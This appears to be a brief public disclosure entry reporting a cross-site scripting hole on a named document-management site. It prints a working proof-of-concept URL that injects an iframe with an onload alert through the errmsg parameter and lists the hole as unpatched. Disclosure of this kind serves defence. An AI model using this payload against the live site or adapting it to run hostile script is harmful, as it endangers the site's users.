docman.grupomarta.net XSS vulnerability

Vulnerable URL: http://docman.grupomarta.net/dm4/main.php?errmsg=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3Elang=en Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...